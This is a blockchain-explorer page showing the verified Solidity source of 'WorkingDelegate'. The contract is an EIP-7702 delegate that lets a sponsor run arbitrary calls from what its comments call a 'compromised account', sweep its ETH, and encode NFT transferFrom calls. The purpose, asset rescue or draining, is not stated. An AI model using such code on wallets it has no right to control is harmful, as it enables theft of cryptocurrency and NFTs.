WorkingDelegate

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "WorkingDelegate.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.19;\r
\r
/**\r
 * @title WorkingDelegate\r
 * @notice EIP-7702 Delegate that works like your friend's bot\r
 * \r
 * @dev KEY INSIGHT:\r
 * - Uses onlyOwner checking msg.sender (the sponsor)\r
 * - Uses low-level call instead of typed interface\r
 * - Sweeps ETH after execution\r
 */\r
contract WorkingDelegate {\r
    address public immutable owner;\r
    \r
    event Executed(address target, bytes data, bool success);\r
    event ETHSwept(address to, uint256 amount);\r
    \r
    constructor(address _owner) {\r
        owner = _owner;\r
    }\r
    \r
    modifier onlyOwner() {\r
        require(msg.sender == owner, "only owner");\r
        _;\r
    }\r
    \r
    /**\r
     * @notice Execute arbitrary call + sweep ETH\r
     * @dev This is how your friend's bot works:\r
     * 1. Makes a low-level call to any contract\r
     * 2. Automatically sweeps remaining ETH balance\r
     * \r
     * With EIP-7702:\r
     * - msg.sender = sponsor (owner)\r
     * - address(this) = compromised account\r
     * - The call is made FROM the compromised account context\r
     */\r
    function executeCall(\r
        address target,\r
        bytes calldata data,\r
        address ethReceiver\r
    ) external onlyOwner {\r
        // Execute the call\r
        (bool success, ) = target.call(data);\r
        require(success, "call failed");\r
        \r
        emit Executed(target, data, success);\r
        \r
        // Sweep remaining ETH to specified address\r
        uint256 balance = address(this).balance;\r
        if (balance > 0 && ethReceiver != address(0)) {\r
            (bool sent, ) = ethReceiver.call{value: balance}("");\r
            require(sent, "ETH sweep failed");\r
            emit ETHSwept(ethReceiver, balance);\r
        }\r
    }\r
    \r
    /**\r
     * @notice Helper to encode transferFrom call\r
     * @dev Call this off-chain to generate the data parameter\r
     */\r
    function encodeTransferFrom(\r
        address from,\r
        address to,\r
        uint256 tokenId\r
    ) external pure returns (bytes memory) {\r
        return abi.encodeWithSignature(\r
            "transferFrom(address,address,uint256)",\r
            from,\r
            to,\r
            tokenId\r
        );\r
    }\r
    \r
    // Allow receiving ETH\r
    receive() external payable {}\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": [],
    "evmVersion": "cancun"
  }
}}

Tags:
Factory|addr:0x2738c4c05c8b79002bc6458c4ee8941c63e05ff6|verified:true|block:23699560|tx:0x8fc79e8bacf33d690d1a089138a0ea9306ed00239a92342b3eebcbdf336d87e0|first_check:1761940603

Submitted on: 2025-10-31 20:56:44

Comments

Log in to comment.

No comments yet.